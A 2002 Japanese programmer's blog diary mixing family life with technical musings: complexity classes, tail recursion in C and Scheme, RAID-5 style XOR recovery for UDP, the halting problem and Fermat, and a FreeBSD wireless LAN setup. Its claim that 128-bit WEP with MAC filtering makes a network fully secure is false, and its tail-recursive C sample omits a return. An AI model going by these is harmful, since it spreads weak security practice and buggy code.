計算量
計算量の理論では、入力ビット数 n に対する漸近的な時間の増大が問題になり、 定数倍は無視されます。普通漸近的な増大量を O(f(n)) と表します。
```
-------------------------------------------------------------------------
O(1) = O(100000)                         # (^^;
O(log(n)) > O(1)
O(n) > O(log(n))                         # 線形探索 ---> 二分探索
O(n^2) > O(n log(n))                     # バブルソート ---> ヒープソート
                                         # DFT ---> FFT
O(2^(1.0000000001 n)) > O(n^100000000)   # (^^;
O(2^(0.0000000001 n)) > O(n^100000000)   # (^^;
-------------------------------------------------------------------------
```
余り定数倍は関係ないと知ったかぶりをすると「かがみさん、クロック 1Hz のコンピュータがあればいいよね」と突っ込まれたりします(^^;。
私は計算量に関して全く素人であり、真面目な話は書けないのですが、なかなか面白い話題なので少しずつ書いていこうかなと思っています。特に P=NP? 問題は、２１世紀に残された最大の難問の一つであり、「証明の困難さとは何か」ということにも非常に深い関係があると思います。 NP という名前は聞いたことがあるけど、「なんか時間がかかりそうなアルゴリズムのことかな」と思っている人も多いと思います。
ところでそんな難しい話の前に、若い人はヒープのアルゴリズムとか、FFT の巧妙さをきちんと勉強してほしいと思います。うーん年寄の愚痴っぽくなってきたな。
クラッシュ
なんか、最近あっちこっちからハードディスククラッシュの声が聞こえてきます。わたしって運がいいのかどうか、クラッシュの経験がないのです。危なそうな予感があってバックアップをとったことはありますが。
ちなみに、現在バックアップをとる必要があるのは、プログラムのソース群とお客様の電話とか、自分のいろんなパスワードとか書いた (これって本当はやっちゃいけないのかな^^)メモ系のファイルだけですね。tar+gz でつぶすと確実に 1Mbytes 以下です。それをレンタルサーバーに定期的にコピーしています。
今使っているノートのほとんどの領域は、谷山浩子さんの mp3 群ですね。これがなくなったら CD から全部作り直しなので、ちょっと面倒ですね。だけどこれは別の場所に置くわけにはいきませんね。
考えてみると、メールのバックアップも必要ですね。これって量が多いですからねえ。どうしよう(^^;。
宇宙飛行士の土井さん、超新星を発見
生きている間に、比較的近い場所の超新星を見たいものです。アンタレスとか、ペテルギウスとか崩壊しないかなぁ(^^;。だけど、あんまり近いとニュートリノの衝撃波で地球上の空気なんかが全部ふっとんでしまうという話もきいたことがあります。それはそれで悪くないと思うけど(^^;。

2002年10月19日(土)

一歳
お誕生日おめでとうございます(^^)。
猫森
チケットが届きました。谷山浩子さんのページ更新。いい座席なんだかどうか分からないです(^^;。
作業机
今日は仕事用の作業机を買いに。現在組み立て中。無線 LAN のおかげでやっと落ち着いて作業ができます。今まで食卓だったからね(^^;。

2002年10月18日(金)

ちょっとだけ背景色をつけました
こちらを参考にさせて頂きました。９番が評判が良いようですし、わたしも見易いと思いましたので。
耳鳴りから開放
昨日から古い眼鏡に換えたら、一年間悩まされていた頑固な耳鳴りから開放されました(^^)。
おーっ、谷山浩子さんの歌声がいつにも増して美しく響くではないか(^^)。
やっぱり眼鏡が一番悪かったのかも。まあ、一年間の不調のおかげて色々な体験が出来たし、とってもいい人ともたくさん知り合えたのでかえって良かったと思います。どうせ会社はやめどきだったしね(^^;。
無線 LAN のアンテナ
昨日は一番離れた部屋でも動作したので、アンテナは必要ないかなと思っていましたが、やはり不安定ですね。無指向性アンテナと指向性アンテナどちらが良いのでしょうね。
それで、時価ウン十万円かも知れない大トロは注文するのですか(^^;。
au から見れない
このページって au の携帯で見ると文字化けしてしまいます。あえて携帯でこのページを見ようという酔狂な人もいないと思いますので、別に構わないのですが何となく不愉快。 Shift JIS にすればいいのだろうけどそれもなぁ(^^;。
それとも致命的な勘違いをしているのかしら。
すみません .htaccess や PHP ってよく全然分かってないのです。さすがにこのあたり、一度ちゃんと勉強しないとまずいですよねえ(^^;。

2002年10月17日(木)

バグ修正
<pre> と </pre> の対応間違いを修正。 HTML を知りませんね。
無線 LAN
注文してあった無線 LAN セットが届きました。AirStation WLS-L11GW にカードが２枚ついたセットです。基地局をハブに接続して、ノート PC にカードを差し込んで ifconfig したらそのままで動作しました。うーん快適～。これから暗号とか面倒な設定ですね。
長年の懸案のノートと牛様の通信も OK になりました。やっぱりネットワークカードの相性が悪かったようですね。
最大の問題は AirH" のカードと同時にささらないので、外出するたびに入れ替える必要があることですね(^^;。
128 bit の WEP と特定 MAC アドレス以外からの通信を禁止したのでセキュリティーも全く問題ないでしょう。こーんな感じ。
```
/etc/rc.conf
pccard_ifconfig="inet 192.168.101.184 wepmode on wepkey xxxxxxxxxxxxx"

$ ifconfig wi0
wi0: flags=8843 mtu 1500
        inet 192.168.101.184 netmask 0xffffff00 broadcast 192.168.101.255
        inet6 fe80::xxxx:xxxx:xxxx:xxxx%wi0 prefixlen 64 scopeid 0x6 
        ether xx:xx:xx:xx:xx:xx
        media: IEEE 802.11 Wireless Ethernet autoselect (DS/11Mbps)
        status: associated
        ssid xxxxxxxxxx
        stationname "FreeBSD WaveLAN/IEEE node"
        channel 14 authmode OPEN powersavemode OFF powersavesleep 100
        wepmode MIXED weptxkey 1
        wepkey 1:128-bit
```
目が疲れる
実を言うと、一年くらい前から急に仕事の能率が上がらなくなったのです。それで昨日はお客様のところで仕事をしていたのですが、論文を読んでいても非常に疲れてしまうのです。
試しに眼鏡をとって読んでみたら全然疲れませんでした。そういえば、眼鏡を変えたのも一年前。もしかして、眼鏡があっていなくて、疲れてしまって能率が上がらなかったのかも知れませんね。明日さっそく新しいのを作りに行きます。
今は，一世代古くて壊れかかったのを使っていますが、全然疲れないですね。
# 極端な近視、乱視、最近は老眼なので調整が大変なのです(^^;。
# 虫眼鏡も買おう(^^;。
チケット
掲示板とかを見ると、まだ FC 経由の猫森チケットは誰にも届いていないようです。それにしても、どうして名古屋、大阪、東京(本当に来るのかな^^;)と逆順に届くのだろう。
人様のお子さま
人様のちっちゃいお子様が歩いているのをみたり、話を聞くとうらやましくなってしまいます。だけど、実際に育てるのってすごーく、すごーく、大変なんですよね～。昔の大変だったことは全部忘れるわたくしなのです。

2002年10月16日(水)

モカの悩み
最近好きな男の子のばかさ加減にあいそがつきたそうです。いやー、小さいなりに悩みが多いですなあ(^^;。
あと、子供ってどこかに連れていくと、親が見せようとしたものはどうでも良くって、子供なりに面白いことを発見することが多いですよね。
# 最近、お願いしても動物園に行ってくれなかったりします。悲しい(^^;。
# 風邪早くなおるといいですね。
~~しっぽの気持ち~~←しっぽのきもち(^^;
昨日はお笑い再帰話だったので、今日は初歩的だけどちょっと真面目な再帰のお話。
普通、再帰の例として最初に上げられるのが、階乗の計算ですね。例のごとく疑似 C コードで記述すると、
```
--------------------------------
/* n! を計算する */
int factorial(int n) {
    if (n==0)
        return(1);
    return(n*factorial(n-1));
}
--------------------------------
```
最初の例としては良いのでしょうが、次の欠点があります。
- スタックを n に比例して消費する。
- 関数呼び出回数が n に比例して発生する。
ところがコンパイラの支援があると、次の書き直しで自動的に繰り返しに翻訳され、スタックや関数呼び出しの問題は解消されます。ただし普通の C コンパイラではだめですね。
```
----------------------------------------------------------
/* n! を計算する */
int factorial(n) {
    return(factorial_aux(n,1));  /* 補助関数呼び出し */
}
/* 
 * 補助関数
 * n までの積
 * p は部分積を保持
 */
int factorial_aux(int n,int p) {
    if (n==0)
        return(p);
    factorial_aux(n-1,p*n);
}
----------------------------------------------------------
```
補助関数を観察すると、再帰を行ってはいますが、実際には自分自身の引数を変えて呼び出しているだけで、再帰呼び出しの戻り値を使用していません。この場合パラメタの演算結果を記録しておく領域のみが必要なので、スタックを消費しないコードを生成可能です。
Scheme(好き～♥)や Common Lisp(だいっきらい)のコンパイラでは、上記の最適化が推奨だったか強制されています。
この様な実質的な繰り返し再帰を「しっぽ再帰」(tail recursion)と言います。
おまけ。Scheme での実行例。
```
-------------------------------------------------------------
> (define (factorial n)
    (factorial_aux n 1))
> (define (factorial_aux n p)
    (if (= n 0) 
        p
        (factorial_aux (- n 1) (* p n))))
> (factorial 100)
93326215443944152681699238856266700490715968264381621468\
59296389521759999322991560894146397615651828625369792082\
7223758251185210916864000000000000000000000000
-------------------------------------------------------------
```
まあ、こんな使い方では再帰も全く役にたたないのですが、こんど気が向いたらニ進木やバックトラックでの役に立つ再帰の話を書く予定。

2002年10月15日(火)

おでかけ～
今日は外で打ち合わせ。久々に 6時半起き(^^;。
最近よく聴くアルバム
「僕は鳥じゃない」をよく聴きます。「ＤＯＯＲ」に引っ張られたしら。「おひさま」、「あかり」もいいですね。あっ、もちろん「ドッペル玄関」も(^^)。
クラシック音楽しか聴かなかったのに、ポップス系で谷山浩子さんにだけ引っ張られたのは不思議ですね。別に好きなんだからいいんだけど(^^)。
そっくりコンピュータ(^^;
これは、某メーリングリスト(^^;に投稿したものを若干修正したものです。一応自分で思いついたのですが、残念ながらアイディア自体は周知のものだそうです。それでは内容。
--
谷山浩子さんの「そっくりハウス」は次のような意味の歌詞です。
```
-------------------------------------------------------
そっくりハウスは家の中に
 おんなじ形のおもちゃの家があって、その中に
 おんなじ形のおもちゃの家があって、その中に 
 おんなじ形のおもちゃの家があって、その中に 
...
-------------------------------------------------------
```
という感じの無限再帰歌です。この家の大きさの合計を求めてみましょう。元の家の大きさを 1 として、おもちゃの家が半分の大きさ(大きすぎるけど面倒なので)とします。するとだれでも知っている様に、
```
 1 + 1/2 + (1/2)^2 + (1/2)^3 + ... = 2
```
というわけで、大きさの合計は 2 となります。
それで、ここからが本題でありまして、これをプログラムで書いてみましょうということなのです。一番自然(^^;なプログラムを C っぽく書くと、
```
 ------------------------------------------------------
 #include <sokkuriio.h>

 real sum(int n); /* prototype */

 int main() {
 printf("%r\n",sum(0)); /* %r は real の表示 */
 return(0);
 }
 /* 第 n 項以降の合計(^^;を求める */
 real sum(int n) {
 return(((1/2)^n) + sum(n+1)); /* (^^; */
 }
 ------------------------------------------------------
```
だたし real は任意精度の実数を表現する型で、例のごとく int の上限はないものとします。あと '^' は XOR 演算子ではなく巾乗演算子です。
それで、もちろん上記のプログラムは一般のコンピュータでは動作しません(^^;。次のように計算が進む感じなのですが、なんといっても終了条件がないですからね。「こんなことをしてはいけません」と怒られるプログラムの代表ですね。
```
 ------------------------------------
 sum(0) --->
 1 + sum(1) --->
 1 + 1/2 + sum(2) --->
 1 + 1/2 + (1/2)^2 + sum(3) --->
 ...
 ------------------------------------
```
ところが大発明の「そっくりコンピュータ」を使用すると、上記のプログラムがちゃんと停止して、「2」と出力するのです(^^)。それで、「そっくりコンピュータ」の仕様ですが、
```
 ----------------------------------------------------
 回路 S(0) があって、これは普通の CPU

 S(0) の内部に、半分の大きさの回路(CPU) S(1) が
 埋め込んであって S(0) の倍の速度で動作。

 S(1) の内部に、半分の大きさの回路(CPU) S(2) が
 埋め込んであって S(1) の倍の速度で動作。

 S(2) の内部に、半分の大きさの回路(CPU) S(3) が
 埋め込んであって S(2) の倍の速度で動作。
 ...
 ----------------------------------------------------
```
回路(CPU) S(n+1) の速度が、S(n) の速度の倍というのは都合が良すぎる様ですが、半分の大きさなので、信号遅延も半分になり技術的には何の問題もありません(^^;。
それで、どうしてこれでうまくいくかというと。
- まず全体の回路(CPU)の大きさは S(0) の大きさを 1 として、そっくりハウスと同じ原理で 2 に収まる。これで筐体の問題は解決(^^)。
- 上に書いた sum(n) の部分の計算を回路(CPU) S(n) に依頼する。これで sum(n) の部分の計算時間は (1/2)^n となります。ただし sum(0) の部分の計算時間を 1 とします。これで合計の計算時間もそっくりハウス原理で 2 で収まります(^^)。
- スタックの心配がありますが、なんと回路(CPU) S(n) は内部にちゃんとスタックを持っているので大丈夫。量は同じですが、そっくりハウス原理で、素子の大きさは S(0) と比較して (1/2)^n ですみます。
無限を有限時間で計算する完璧なアイディアは出来ました。私は不器用で作れそうもないので、だれか実際に作ってくれませんか～(^^)/。

2002年10月14日(月)

あと半月
あと半月位で猫森とコンサートツアーですね。ところでまだ猫森のチケットが来ていませんが、まさかわたしのところだけじゃないですよね(^^;。
とら.ps
やっぱり最初はこれですよね～。

画像を携帯用にちっちゃくする方法(忘れないため)

教えてもらった方法。←あんたは人様に教えてもらうだけで、教えるということがないのか。はい、ないですぅ(^^;。

横が大きい場合。
pngtopnm hoge.png \
        | pnmscale -height 160 \
        | pnmcut 調整 0 120 160 \
        | pnmtopng >fuga.png

縦が大きい場合。
pngtopnm hoge.png \
        | pnmscale -width 120 \
        | pnmcut 0 調整 120 160 \
        | pnmtopng >fuga.png

なんとなく最近おさまりがいいんですが(^^)。

2002年10月13日(日)

make world
FreeBSD 4.7-STABLE #0: Sun Oct 13 18:41:51 JST 2002
リリースノートはこちら。これが面白そうですね。しばらく設定しましょう。
The tcp(4) protocol now has the ability to dynamically limit the send-side window to maximize bandwidth and minimize round trip times. The feature can be enabled via the net.inet.tcp.inflight_enable sysctl.
サイエンス倶楽部
今日は本当にひさびさにモカと奧さまとサイエンス倶楽部へ行く予定。奧さまと半日デート(^^)。
二ヶ月ぶりですね。やっぱり異常な生活をしていたと思います。もう会社に勤める気はほとんどなかったりします(^^;。
今日はスライム作り。洗濯のりとホウ砂から作ります。モカが実験をしている間、横浜近辺で PC を物色したりしてぶらぶら。高島屋で大沢親分が、「ベイスターズに渇」なんていう独演会をやっていました(^^)。
ちっちゃいパソコン
これから動き回ることが増えそうなので、小さいノート PC を購入しようと考えています。別に A4 のノートを持ち歩くのは構わないのですが、その辺でちょっと出して使うわけに行きませんし、電池の持ちも悪いです。実は、某お絵描きとっても上手氏(^^)のまねをすれば絶対に失敗しないと分かっているのですが、今までまねが多すぎるんで申し訳けなくって(^^;。
ゲージュツの秋
内容(^^;や比率が良いので、しばらくケータイの待ち受け。モスキーちゃんと交互に使う予定です。残念ながらお金はないです(^^;。

2002年10月12日(土)

無限再帰
無限再帰のちょっと面白そうな話を思いついて、日記に書いていたのですが、突然血迷って某メーリングリストに投稿。残念ながら、すでに周知のアイディアだそうです。うーん、結構思いついたときには感動したのだけど。
内容はほとぼりがさめたら掲載。
今日は仕事
最近事務処理が多くて、いくらか仕事が残ってしまったので、在宅で仕事ですね。日月はのんびりしましょう。
携帯へのメール転送
現在わたくし宛の下記のメールが携帯に転送されます。フィルターと転送はレンタルサーバーの procmail を使用しております。 95% 以上チャチャさまのまねでございます(^^)。
- SPAM,Virus 等と推測される場合。これは、携帯のみならず、メールボックスにも入りません。別の SPAM 箱や Virus 箱に入ります。
- 広告類と推測されるもの。これも広告箱に入れられメールボックスには入りません。
- メーリングリスト。これは携帯には転送されませんが、メールボックスには入ります。
- その他のメールがメールボックスに入るとともに、先頭の 100 行までが携帯に飛びます。ただし au の場合、まず題名だけとることが出来ますので、その段階ですでに PC で閲覧した後の場合は削除となります。
ちなみに、携帯はパケット割り引きというものを使用しておりまして、 1パケット 0.1 円です。メールを下さる方はまったく気になさらないで下さい。

2002年10月11日(金)

事務手続き
今日は渋谷で健康保険の手続き。当面任意継続ですね。うーん、面倒(^^;。
それはともかく LAN が不必要なのでなく、内蔵のネットワークデバイスは必要ないということなのですね(^^)。
体調回復
肉体的にも精神的にも、全盛期の 90%位まで戻ってきたと思います。仕事もはかどるし、気分も爽快であります。
AirH" 使用感
AirH" カードを購入して丁度一週間がたちました。それで使用感。
- やっぱりどこでもインターネットに接続できるのは便利。ただ、今使っているノートパソコンは大きいので、どこでも取り出すわけにはいきません。電池も 2時間しかもたないし。ちっちゃくて電池の持ちが良い PC が欲しいですね。
- 32Kbit/sec の速度は ADSL に慣れてしまった体にはとっても遅く感じるのですが、テキストベースのページに関しては特に問題はありません。特に w3m で閲覧可能なページに関しては全く問題がありません。
- 人様の会社でも便利。その場で資料をメールで送ってもらったりしました。
- 無線 LAN 導入までのつなぎで、家のなかを移動できる。
- がらがらの電車に乗って tcpdump でモニターすると、しょっちゅうハンドオーバー(基地局の切り替わり)が発生しているのが分かって楽しい。データリンクとネットワーク層より上はあんまり関係ないので、 IP アドレスが変化しないのは特に驚きませんけど。
- 昨日のように、「ADSL がつながらない」という非常事態に役に立つ。実は 30分くらい AirH" を使えばいいんだということに気が付かないというマヌケしてました(^^;。
そんなわけで、いいことだらけなのですが、やっぱりもう少し安くて速い←吉野家かよ～、といいですね。月々 5,000円+300円というのがいかにも微妙な価格です。
それにしても、AirH" と携帯を衝動買いして、来月からの支払いが大変ですなぁ(^^;

2002年10月10日(木)

友人と食事
夜になってから、自由が丘で学生時代からの友人 S さんと食事。ハンガリー料理(^^)。
反抗期
そろそろモカも反抗期ですね。いろいろ文句を言います。わたしより大人の部分もたくさんあるのですけど(^^;。
3人いると、だれかの機嫌が悪いですね(^^)。
長女がパソコン
携帯電話ばかり使っていて、パソコンに全く興味を示していなかった長女が、最近パソコンでインターネットに接続しているようです。大学受験の資料でも調べてるのかと思ったら、そうでもないようで、芸能人かなんかのサイトを見てるようです(^^;。
それはともかくとして、わたしも自分一人で使う Windows PC は C ドライブを 4G 位切って、残りを D(場合によっては E も)にするのですが、家族が使う PC でそれをやったら、みんなデスクトップにフォルダーを作ってものを入れるので、C ドライブがパンクしてしまいました。
事前に D ドライブにショートカットされた個人ごとのフォルダーを作って、その中に入れるように言ってあったのですけど(^^;。
仕方ないので、今は家族用の PC は C ドライブのみです。当面入れ替える予定はないですが、デスクトップを D にする方法なんてあるんですかねえ。 ←おいおい、お前、コンピュータのプロだろ(^^)。
谷山浩子さん大阪公演
11月24日(日)の大阪公演のチケットが来ました(^^)。谷山浩子さんのページ更新。
Flets ADSL 不調
今 12時頃ですが、全然つながりません。モデムのデータランプは正常そうだし、電源の OFF/ON もしたし、ルーターの tcpdump でも PPP の認証を要求している感じです。応答が全くないのです。NTT が悪いのか biglobe が悪いのか、はたまた、私が何かミスをしているのか不明。
こういうとき AirH" はとっても役にたちますね。だけど NTT にも biglobe にも障害情報は載っていません。うーん、こうしてみるとアイネットディーの対応は非常に良かったですね。
NTT に電話して聞いたら biglobe の認証の問題というレポートが届いているそうです。 Biglobe はホームページにも出ていないし、電話を何回かけても通じません。結構悪く言われることも多いのですが、個人的には NTT の対応にいつも満足しています。
14時45分頃復旧。

2002年10月9日(水)

外出
午後から打ち合わせ。
モスキーちゃんの待ち受け画面
最初は暫定的にと思っていましたが、とっても可愛いのと、クールな色合いが待ち受けにぴったりです。しばらくこれを使わせていただきます(^^)。
オクタビアン
全然関係ないんですが、女性の歌手が男の役で女装するのって大好きです(^^;。
具体的にはフィガロの結婚のケルビーノ、バラの騎士のオクタビアン。
そういえば、もとは女の子なのに、男の子の役をやって、さらに女装しているしいねちゃんなんていう人もいますねえ。

難しいかがみ語

学生時代は、当時の流行もあって次の意味で言葉を用いていました。つまり、「特に強調しない限り等号を含む(一般的に扱う)」というポリシーです。

用語一般の意味かがみの意味一般の意味に対応するかがみ語

小さい < <= 真に小さい

大きい > >= 真に大きい

正 n>0 n>=0 真に正

負 n<0 n<=0 真に負

以下 <= <=

以上 >= >=

自然数 n>=1 n>=0 1 以上の自然数

整数 ...-2,-1,0,1,2... 代数的整数有理整数

ちなみに、代数的整数とは、一般に複素数で、

  x^n + a_{n-1} x^{n-1} + ... + a_1 x + a_0 = 0  (ただし a_i は有理整数)

の解となる数であります。最高次の係数が 1 であるのが重要です。有理整数は上に書いたように、普通の人が整数と思っている数です。

最近は、いちいち人に説明するのが面倒なので、自然数以外は妥協しております(^^;。

個人的な本音を言いますと、自然数を 1 から開始というのは、犯罪に近いと思っています。まあ、この話を始めると議論の収拾がつかなくなる場合があるのでちょっと困るんですけど(^^;。

2002年10月8日(火)

復旧
朝起きたら、evariste.que.ne.jp が復旧していました。アクセス出来なかった以外特に被害は無かったです。
RAID システムで RAID 自体が障害を起こしたそうです。どうも RAID でいい思いをしたことがないです(^^;。
ただ、ちゃんと経緯を書いたメールも来ましたし、対応はよいと思います。
あれれっ、せっかく作った携帯転送用 .procmairc が元にもどっちゃった。チャチャさまのを写さして頂いただけですけど(^^;。
.procmailrc 復活
.procmailrc が復活しました。人様のを写しただけですけど(^^)。
RAID 的エラー訂正
昨日アイネットディー(evariste.que.ne.jp の置場所)で RAID の障害がありましたが、ここで使用していた方法はディスク 2重化による冗長化と思われます。最近はディスクの価格も非常に安いので、この方法が一番合理的だと思います。
一昔前まで RAID-5 という方法がわりと人気がありました。例えばディスクが 5 台あったとして、4 台のデータが x0,x1,x2,x3 の場合 5 台目に
```
    x4 = x0 + x1 + x2 + x3 (+ はビットごとの XOR 演算)
```
を記録するのです。例えば x2 が壊れたとき XOR 演算は加算と減算が「同じ」なので、
```
    x2 = x0 + x1 + x4 + x3 (+ はビットごとの XOR 演算)
```
で復元可能なのです。利点としては、ディスクの台数が多ければ、効率よく冗長性がもてるということですが、
- ２台以上壊れたら収拾がつかない。
- 何らかの不整合が発生した場合復旧が極めて難しい。
などの理由で、最近は一時ほどの人気がないような気がします。
それで、ここからが本題なのですが(^^;、この方法って、絶対的ではないけれど、なるべく信頼性が欲しい通信に役に立つのです。例えば UDP を利用した音声の伝達です。
ご存じの様に UDP はパケット単位の「たれ流し」プロトコルであり、データの到達順序、UDP パケットの紛失に関しては一切保証がありません。「そんなの何の役に立つんだ」と思われる方もいらっしゃると思いますが、
- 到達確認や再送の必要がないので、送信側の立場からは、どんどんデータを流せる。音楽が気分良く流れているのに「待ってくれ」とは言えませんからね。
- 機構が単純なので TCP などに比べると高速。
- 基本的に「流すだけ」のプロトコルなので TCP の様な「接続・切断」の処理が不必要。マルチキャストにも使用可能。
というわけで、画像や音声の通信には UDP が使われることが多いのです。
いくら UDP が信頼性がないプロトコルであるとはいっても、「ほとんど」のパケットが到達しないとお話にならないのですが、ここでは「大体到達するが、たまにポロッと落ちる」という状況を考えます。
こんなとき次の通信方式が役に立ちます。
- 各パケットに番号をつける。
- 例えば、番号が 16 で割りきれるパケットの内容は、直前の 15個のパケットのビットごとの XOR 演算とする。番号が 16で割りきれるパケットをチェックパケットと命名します。
それで、受信側は、
- チェックパケットを受信するまで、受信したパケットを保留する。
- 受信パケットが 15個そろっていたらそれを上位に上げる。その場合、チェックパケットを落しても気にしない。
- チェックパケットを受信した段階で、データのパケットを 1つだけ落していた場合、残りの 14個のパケットにチェックパケットを「加算」して欠落パケットを復元する。それを上位に上げる。2個以上欠落した場合はあきらめる(^^;。
というわけで、単なるチェックサムではありますが、このプロトコルは結構役に立つのです。個人的に RAID-5 的プロトコルと呼んでいます。
# loopback の UDP は絶対に欠落していないと思っている人がたまに
# いらっしゃいますが、そんなことはありません。
# 送信側が受信側より速ければ当然欠落が発生します。

2002年10月7日(月)

evariste.que.ne.jp 不調
現在23時20分ですが evariste.que.ne.jp のサーバーがダウン中です。なんかディスクがいっちゃったみたいで、今日の朝の状態に戻すそうです。別にこちらにファイルがあるので問題はないのですが、バックアップサーバーとして使用するには問題がありますね。
現在メールも受信できません。
待ち受け画面
教えて頂いた方法で、丁度アスペクト比が都合が良かったので、当面モスキーちゃんです。ちなみに、私が購入したケイタイは png そのままで表示可能です(^^)。
お礼
どうもありがとうございます。
無限ループの判定
この話はご存じの方も多いと思いますので、知っている方にはごめんなさい。
例えば C 言語(普通のプログラム言語ならなんでもよい) で記述された関数、
```
int func(int x1,int x2,...,int xn)
{
   ...
   return(何か)
}
```
が任意の入力に関して、有限時間で終了するか、終了しないか(無限ループ)を判断するする一般的なアルゴリズムは存在しない。ただし、int の上限は存在しないとします。この証明は、コード化と対角線論法の初歩を理解していれば簡単です。たしかチューリングにより証明されたと思います。チューリングの天才は必要ない簡単な証明です。
フェルマーの最終定理
これは有名な「定理」で 1995年にワイルズ先生の極めて長大・難解な論文により証明されました。楕円曲線が大活躍しましたね。定理の内容はご存じでしょうが、
```
自然数(0 を含みます^^;) x,y,z と n>=3 に対して、

  x^n + y^n = z^n 

が成立するとき xyz=0 である。
```
楕円曲線という言葉は、普通の円をつぶした楕円とはあんまり、てゆーか、ほとんど関係ないのです。最近暗号の話でも楕円曲線暗号なんて言葉が出てくるので勘違いしている人が多いかも知れませんね。
フェルマーの最終定理で活躍した楕円曲線は有理数体上のものであり、暗号で使われる楕円曲線は有限体(Galois 体)上のもので、その自然なアーベル群構造に対する離散対数問題が活躍します。
ちなみに、有理数体上の楕円曲線は例えばヘアピンの様な形状で、複素数体上の楕円曲線はドーナツ(数学屋さんはトーラスと呼びます)の形です。
本題～無限ループとフェルマーの最終定理
仮に、無限ループの一般判定ができちゃったとします。その「偉大なる」アルゴリズムを G とします。そうすると都合が良すぎるのです。
次のような簡単なプログラムを書いてみます。
```
int f(n)
{
    int x,y,z;
    int i;

    for (i=3;;i++) {
        x>0,y>0,z>0 で x+y+z=i なるすべての x,y,z に対して検査して、
        x^n + y^n = z^n が成立したら
        return(1);
    }
}
```
さて、この f を偉大なる無限ループ判定プログラム G に食べさせます。
```
G(f) がある n>=3 に対して無限ループにならないと出力したら
「フェルマの定理はウソ」。

G(f) が任意の n>=3 に対して無限ループになると出力したら
「フェルマの定理はほんと」。
```
G という魔法のアルゴリズムが存在すると、上のようなごみコードを G に食べさせるだけで(実行さえもしないで)「フェルマーの最終定理」が解けてしまうのです。全然証明にはなりませんが、G の存在は「都合が良すぎる」のであります。G の様なアルゴリズムが存在すれば、数論の難問はほとんどその場で解けてしまいます。
ちなみに、今まで書いた話は、「ゲーデル・エッシャー・バッハ」を読んだことがある人は知っているでしょうね。
私見ですが、計算関係の「理論」できちんとしたものは計算量の理論だけですね。他の分野は全く厳密性に欠けています。
もちろん上記の意見は、元数学少年の考えであり、コンピューターの工学的な真面目な研究を低くみているものではありません。

2002年10月6日(日)

ドラム
今日は、10時からドラムの練習。本当に久しぶりだから最初うまくいかないでしょうね(^^;。
お買い物～
午後は、奧さまとモカとお買い物。モカとお買い物なんて本当に久しぶりです。幸せ(^^)。
au の携帯電話を買ってきました。使用感はこんど。てゆーか、まだ使い方が全然分からないです(^^;。
当然、待ち受け画面の壁紙が最も重要なので、そこから調査ですね。教えて下さりありがとうございます。
着信メロディーは当面「そっくりハウス」ですね。

2002年10月5日(土)

運動会

今日はモカの運動会。私は毎年写真係なのです。Canon NEW EOS Kiss を持ちて出陣だ～(^^)/。
8時頃に場所とりに行きます(^^)。早起きしなくっちゃ(^^;。

寝坊しちゃった。場所とりはなし。しかも、カメラの電池切れで大急ぎでローソンへ買い出し(^^;。
結果は次の通りです。最近家に引きこもり気味だったのでとても楽しかったです。写真はやっぱり動いていると難しいですね。おそらくフォーカスがあってないと思います。

種目備考

1 ラジオたいそう

3 80メートル走 4 位

7 なみのりギリーダンス

13 ファイト２発綱引き。勝ち。

16 だいぎりまつりダンス

18 リレー順位変わらず。チームは 2位。

20 スピードユーフォー大玉送り。勝ち(^^)。

26 まめたいふう３ごう障害物競走。負け～。

2002年9月かがみさん
10月になったので、何とかなりませんか(^^)。
早速 SPAM
早速 SPAM が来るようになりました。「いい就職先を紹介します」だって。どこから情報がもれるのでしょうねえ。まさかこのページを見ているとは思えないし(^^;。
そもそも、わたくし、失業中ではないんですが(^^)。

2002年10月4日(金)

そっくりハウス
家にいていつでも聞けると思うと、案外聞きのがしてしまいます。実は、まだ聞いていません。反省(^^;。 ←今日聞きました、歌詞の最後の方は無限再帰ですね(^^)。
19年
19年なんてあっという間だったりします(^^)。
それにしても、奧さまに苦労かけっぱなしの人生ですなあ(^^;。
通信機器
今日は携帯電話と AirH" カードを買いに行く予定です。まあ、どさくさにまぎれて欲しかったのを買ってしまえというモードではありますね。
無線 LAN は、もう少し研究が必要そうです。なんか、無線側と Ethernet 側で別ネットワークになると思うのですが、ルーター機能無しでブリッジ機能のみなんて言われると混乱してしまうのです(^^;。常識的には、
```
-------------------------------------------------------------
             Internet
               |
             ADSL modem
               |      200.200.200.200
             NAT router
               |      192.168.100.1
   ----------------------------------------------------- Ethernet
          |192.168.100.100        |  192.168.100.13
       Windows98              無線 LAN 基地
                                  |  無線側 192.168.101.1
    ----------------------------------------------------- 無線
                     | 192.168.101.10    | 192.168.101.11
                   Note PC            Note PC
-------------------------------------------------------------
```
なんて感じだと思うのですが、どうしてルーター機能なしで動くのか理解不能。しかもカタログには、すでにルータをもっている場合はルーター機能なしの無線基地で良いと書いてあったりするのです。それで、単なるブリッジというならまだ話は分かるのですが、その場合でも、基地局用のアドレスが一つ必要などと言われると混乱の極みであります(^^;。
単なるブリッジなら Ethernet 側と同じアドレス体系で、基地自体はアドレスなしで、 Ehternet 側に代理の arp 応答をしてあげれば良いと思うのですが。うーん、分からない(^^;。
# もしかして、必要なアドレスって単なるメンテナンス用。
↑さっそく教えて下さってありがとうございます。てゆーか、教えて下さいってのがもろ見えですよね(^^;。
あと、もろもろの役所関係の事務処理ですね。おとといも行ったのですが、不備があったりして結構面倒なのです。
AirH"
とりあえず AirH" 端末 CFE-02 を購入。FreeBSD で簡単に認識して動作しました。実は、R30 はシリアルポートがないので、kernel のコンフィギュレーションでシリアルポートを全部殺してあったのです。それで device not configured が出力されてちょっとあせりました。Kernel を再構築したら問題なく動作しました。 IIJ の mio サービスを使用します。月額 300円です。もちろん DDI に月額 5,000程度支払う必要もあります。
それにしても 32K は遅いです。ダイアルアップ時代を思い出しますね(^^;。だけど、無線 LAN 購入までのつなぎで、家のなかをうろうろできます(^^)。
一日に 2つおもちゃを手にいれると収拾がつかなくなるので、今日は携帯は買わず。

2002年10月3日(木)

レンタルサーバー
レンタルサーバーに関しては前に書いた通りですが、最近はバックアップにも重宝しています。なんせ今はノート様だけが頼りの開発なので、クラッシュしたらアウトですからね。どうせバックアップが必要なのはソースだけなので tar で固めてしまえば量的には非常に少ないのです。レンタルサーバーを借りた時点で現在の予感があったのかも知れません。
あと、進捗報告を兼ねて、お客様にしょっちゅうソースを送っています(^^;。
FreeBSD ノート PC のホスト名
いつまでも、前の会社のドメインをホスト名にするわけにいかないので、
```
galois.evariste.que.ne.jp 
```
なんていうすごい名前にしちゃいました。←勝手にこんな名前にしていいの(^^;。
ちなみに、私のノート PC は無線 LAN 付ではありません(^^;。
つまんない
